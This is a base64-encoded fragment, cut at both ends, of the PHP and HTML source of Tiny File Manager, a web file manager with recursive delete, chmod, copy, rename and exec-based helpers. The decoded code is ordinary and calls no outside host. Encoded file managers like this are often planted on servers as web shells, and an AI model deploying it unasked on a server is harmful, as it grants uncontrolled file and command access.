ZT1cInRhclwiIGlkPVwiYS10YXJcIiB2YWx1ZT1cInRhclwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXRhcicpLmNsaWNrKCk7XCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIj48aSBjbGFzcz1cImZhIGZhLWZpbGUtYXJjaGl2ZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1RhcicpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiY29weVwiIGlkPVwiYS1jb3B5XCIgdmFsdWU9XCJDb3B5XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLWNvcHknKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMyBkLW5vbmUgZC1zbS1ibG9ja1wiPjxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wiIHRhcmdldD1cIl9ibGFua1wiIGNsYXNzPVwiZmxvYXQtcmlnaHQgdGV4dC1tdXRlZFwiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48XC9hPjxcL2Rpdj5cbiAgICAgICAgPD9waHAgZWxzZTogPz5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj48YSBocmVmPVwiaHR0cHM6XC9cL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW9cIiB0YXJnZXQ9XCJfYmxhbmtcIiBjbGFzcz1cImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWRcIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9kaXY+XG4gICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgIDxcL2Rpdj5cbjxcL2Zvcm0+XG5cbjw/cGhwXG5mbV9zaG93X2Zvb3RlcigpO1xuXG5cL1wvIC0tLSBFTkQgSFRNTCAtLS1cblxuXC9cLyBGdW5jdGlvbnNcblxuXC8qKlxuICogSXQgcHJpbnRzIHRoZSBjc3NcL2pzIGZpbGVzIGludG8gaHRtbFxuICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LlxuICpcL1xuZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSlcbntcbiAgICBnbG9iYWwgJGV4dGVybmFsO1xuXG4gICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRrZXksICRleHRlcm5hbCkpIHtcbiAgICAgICAgZWNobyBcIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+XCI7XG4gICAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBlY2hvIFwiJGV4dGVybmFsWyRrZXldXCI7XG59XG5cblwvKipcbiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkXG4gKiBAcGFyYW0gc3RyaW5nICR0b2tlblxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiB2ZXJpZnlUb2tlbigkdG9rZW4pXG57XG4gICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSlcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aClcbntcbiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7XG4gICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHtcbiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTtcbiAgICAgICAgJG9rID0gdHJ1ZTtcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xuICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7XG4gICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7XG4gICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIFJlY3Vyc2l2ZSBjaG1vZFxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICogQHBhcmFtIGludCAkZmlsZW1vZGVcbiAqIEBwYXJhbSBpbnQgJGRpcm1vZGVcbiAqIEByZXR1cm4gYm9vbFxuICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZFxuICpcL1xuZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKVxue1xuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH0gZWxzZWlmIChpc19saW5rKCRwYXRoKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGNobW9kKCRwYXRoLCAkZmlsZW1vZGUpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdFxuICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWVcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1faXNfdmFsaWRfZXh0KCRmaWxlbmFtZSlcbntcbiAgICAkYWxsb3dlZCA9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7XG5cbiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pO1xuICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7XG5cbiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2FmZWx5IHJlbmFtZVxuICogQHBhcmFtIHN0cmluZyAkb2xkXG4gKiBAcGFyYW0gc3RyaW5nICRuZXdcbiAqIEByZXR1cm4gYm9vbHxudWxsXG4gKlwvXG5mdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldylcbntcbiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTtcblxuICAgIGlmICghaXNfZGlyKCRvbGQpKSB7XG4gICAgICAgIGlmICghJGlzRmlsZUFsbG93ZWQpIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsO1xufVxuXG5cLyoqXG4gKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcGFyYW0gc3RyaW5nICRkZXN0XG4gKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlc1xuICogQHBhcmFtIGJvb2wgJGZvcmNlIENyZWF0ZSBmb2xkZXIgd2l0aCBzYW1lIG5hbWVzIGluc3RlYWQgZmlsZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKVxue1xuICAgIGlmICghaXNfZGlyKCRwYXRoKSAmJiAhaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuXG4gICAgICAgICRvYmplY3RzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pO1xuXG4gICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KFwiJHBhdGhcLyRmaWxlXCIsIFwiJGRlc3RcLyRmaWxlXCIsICR1cGQsICRmb3JjZSkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpO1xufVxuXG5cblwvKipcbiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRkaXJcbiAqIEBwYXJhbSBib29sICRmb3JjZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9ta2RpcigkZGlyLCAkZm9yY2UpXG57XG4gICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7XG4gICAgICAgIGlmIChpc19kaXIoJGRpcikpIHtcbiAgICAgICAgICAgIHJldHVybiAkZGlyO1xuICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHVubGluaygkZGlyKTtcbiAgICB9XG4gICAgcmV0dXJuIG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpO1xufVxuXG5cLyoqXG4gKiBTYWZlbHkgY29weSBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRmMVxuICogQHBhcmFtIHN0cmluZyAkZjJcbiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudFxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKVxue1xuICAgICR0aW1lMSA9IGZpbGVtdGltZSgkZjEpO1xuICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7XG4gICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpO1xuICAgICAgICBpZiAoJHRpbWUyID49ICR0aW1lMSAmJiAkdXBkKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJG9rID0gY29weSgkZjEsICRmMik7XG4gICAgaWYgKCRvaykge1xuICAgICAgICB0b3VjaCgkZjIsICR0aW1lMSk7XG4gICAgfVxuICAgIHJldHVybiAkb2s7XG59XG5cblwvKipcbiAqIEdldCBtaW1lIHR5cGVcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aFxuICogQHJldHVybiBtaXhlZHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aClcbntcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHtcbiAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpO1xuICAgICAgICAkbWltZSA9IGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZV9wYXRoKTtcbiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykpIHtcbiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpO1xuICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7XG4gICAgICAgICRmaWxlID0gZXNjYXBlc2hlbGxhcmcoJGZpbGVfcGF0aCk7XG4gICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIHJldHVybiAnLS0nO1xuICAgIH1cbn1cblxuXC8qKlxuICogSFRUUCBSZWRpcmVjdFxuICogQHBhcmFtIHN0cmluZyAkdXJsXG4gKiBAcGFyYW0gaW50ICRjb2RlXG4gKlwvXG5mdW5jdGlvbiBmbV9yZWRpcmVjdCgkdXJsLCAkY29kZSA9IDMwMilcbntcbiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJGNvZGUpO1xuICAgIGV4aXQ7XG59XG5cblwvKipcbiAqIFBhdGggdHJhdmVyc2FsIHByZXZlbnRpb24gYW5kIGNsZWFuIHRoZSB1cmxcbiAqIEl0IHJlcGxhY2VzIChjb25zZWN1dGl2ZSkgb2NjdXJyZW5jZXMgb2YgXC8gYW5kIFxcXFwgd2l0aCB3aGF0ZXZlciBpcyBpbiBESVJFQ1RPUllfU0VQQVJBVE9SLCBhbmQgcHJvY2Vzc2VzIFwvLiBhbmQgXC8uLiBmaW5lLlxuICogQHBhcmFtICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpXG57XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnXC8nLCAnXFxcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7XG4gICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7XG4gICAgJGFic29sdXRlcyA9IGFycmF5KCk7XG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7XG4gICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlO1xuICAgICAgICBpZiAoJy4uJyA9PSAkcGFydCkge1xuICAgICAgICAgICAgYXJyYXlfcG9wKCRhYnNvbHV0ZXMpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGFic29sdXRlc1tdID0gJHBhcnQ7XG4gICAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFic29sdXRlcyk7XG59XG5cblwvKipcbiAqIENsZWFuIHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9jbGVhbl9wYXRoKCRwYXRoLCAkdHJpbSA9IHRydWUpXG57XG4gICAgJHBhdGggPSAkdHJpbSA/IHRyaW0oJHBhdGgpIDogJHBhdGg7XG4gICAgJHBhdGggPSB0cmltKCRwYXRoLCAnXFxcXFwvJyk7XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi5cLycsICcuLlxcXFwnKSwgJycsICRwYXRoKTtcbiAgICAkcGF0aCA9ICBnZXRfYWJzb2x1dGVfcGF0aCgkcGF0aCk7XG4gICAgaWYgKCRwYXRoID09ICcuLicpIHtcbiAgICAgICAgJHBhdGggPSAnJztcbiAgICB9XG4gICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJywgJHBhdGgpO1xufVxuXG5cLyoqXG4gKiBHZXQgcGFyZW50IHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aClcbntcbiAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgIGlmICgkcGF0aCAhPSAnJykge1xuICAgICAgICAkYXJyYXkgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7XG4gICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTtcbiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCdcLycsICRhcnJheSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cbmZ1bmN0aW9uIGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aClcbntcbiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7XG4gICAgc3dpdGNoICgkcGF0aF9kaXNwbGF5X21vZGUpIHtcbiAgICAgICAgY2FzZSAncmVsYXRpdmUnOlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ1BhdGgnLFxuICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2hvc3QnOlxuICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdHJfcmVwbGFjZSgkcm9vdF9wYXRoLCAnJywgJGZpbGVfcGF0aCk7XG4gICAgICAgICAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnSG9zdCBQYXRoJyxcbiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCdcLycgLiAkcm9vdF91cmwgLiAnXC8nIC4gbHRyaW0oc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcmVsYXRpdmVfcGF0aCksICdcLycpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2Z1bGwnOlxuICAgICAgICBkZWZhdWx0OlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ0Z1bGwgUGF0aCcsXG4gICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZV9wYXRoKSlcbiAgICAgICAgICAgICk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdFxuICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgbmFtZSBvZiB0aGUgZmlsZVwvZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggb2YgdGhlIGZpbGVcL2ZvbGRlclxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9pc19leGNsdWRlX2l0ZW1zKCRuYW1lLCAkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7XG4gICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkge1xuICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuXG4gICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHtcbiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuICAgIGlmICghaW5fYXJyYXkoJG5hbWUsICRleGNsdWRlX2l0ZW1zKSAmJiAhaW5fYXJyYXkoXCIqLiRleHRcIiwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgkcGF0aCwgJGV4Y2x1ZGVfaXRlbXMpKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGVcbiAqIEBwYXJhbSBpbnQgJHRyXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdHJhbnNsYXRpb25zKCR0cilcbntcbiAgICB0cnkge1xuICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygndHJhbnNsYXRpb24uanNvbicpO1xuICAgICAgICBpZiAoJGNvbnRlbnQgIT09IEZBTFNFKSB7XG4gICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpO1xuICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7XG4gICAgICAgICAgICBmb3JlYWNoICgkbG5nW1wibGFuZ3VhZ2VcIl0gYXMgJGtleSA9PiAkdmFsdWUpIHtcbiAgICAgICAgICAgICAgICAkY29kZSA9ICR2YWx1ZVtcImNvZGVcIl07XG4gICAgICAgICAgICAgICAgJGxhbmdfbGlzdFskY29kZV0gPSAkdmFsdWVbXCJuYW1lXCJdO1xuICAgICAgICAgICAgICAgIGlmICgkdHIpXG4gICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbXCJ0cmFuc2xhdGlvblwiXTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiAkdHI7XG4gICAgICAgIH1cbiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgZWNobyAkZTtcbiAgICB9XG59XG5cblwvKipcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVcbiAqIFJlY292ZXIgYWxsIGZpbGUgc2l6ZXMgbGFyZ2VyIHRoYW4gPiAyR0IuXG4gKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4XG4gKiBAcmV0dXJuIGludHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9zaXplKCRmaWxlKVxue1xuICAgIHN0YXRpYyAkaXN3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkaXNkYXJ3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkZXhlY193b3JrcyA9IG51bGw7XG5cbiAgICBpZiAoJGlzd2luID09PSBudWxsKSB7XG4gICAgICAgICRpc3dpbiA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJztcbiAgICAgICAgJGlzZGFyd2luID0gc3RydG91cHBlcihQSFBfT1MpID09PSAnREFSV0lOJztcbiAgICAgICAgJGV4ZWNfd29ya3MgPSBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09PSAnRVhFQyc7XG4gICAgfVxuXG4gICAgaWYgKCRleGVjX3dvcmtzKSB7XG4gICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7XG4gICAgICAgICRjbWQgPSAkaXN3aW4gPyBcImZvciAlRiBpbiAoXFxcIiRmaWxlXFxcIikgZG8gQGVjaG8gJX56RlwiIDogKCRpc2RhcndpbiA/IFwic3RhdCAtZiV6ICRhcmdcIiA6IFwic3RhdCAtYyVzICRhcmdcIik7XG4gICAgICAgIEBleGVjKCRjbWQsICRvdXRwdXQpO1xuXG4gICAgICAgIGlmICghZW1wdHkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoXCJcXG5cIiwgJG91dHB1dCkpKSkge1xuICAgICAgICAgICAgcmV0dXJuICRzaXplO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRpc3dpbiAmJiBjbGFzc19leGlzdHMoJ0NPTScpKSB7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpO1xuICAgICAgICAgICAgJGYgPSAkZnNvYmotPkdldEZpbGUocmVhbHBhdGgoJGZpbGUpKTtcbiAgICAgICAgICAgIGlmIChjdHlwZV9kaWdpdCgkc2l6ZSA9ICRmLT5TaXplKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiAkc2l6ZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpO1xufVxuXG5cblwvKipcbiAqIEdldCBuaWNlIGZpbGVzaXplXG4gKiBAcGFyYW0gaW50ICRzaXplXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKVxue1xuICAgICRzaXplID0gKGZsb2F0KSAkc2l6ZTtcbiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpO1xuICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwO1xuICAgICRwb3dlciA9ICgkcG93ZXIgPiAoY291bnQoJHVuaXRzKSAtIDEpKSA/IChjb3VudCgkdW5pdHMpIC0gMSkgOiAkcG93ZXI7XG4gICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgXC8gcG93KDEwMjQsICRwb3dlciksIDIpLCAkdW5pdHNbJHBvd2VyXSk7XG59XG5cblwvKipcbiAqIEdldCBpbmZvIGFib3V0IHppcCBhcmNoaXZlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIGFycmF5fGJvb2xcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dClcbntcbiAgICBpZiAoJGV4dCA9PSAnemlwJyAm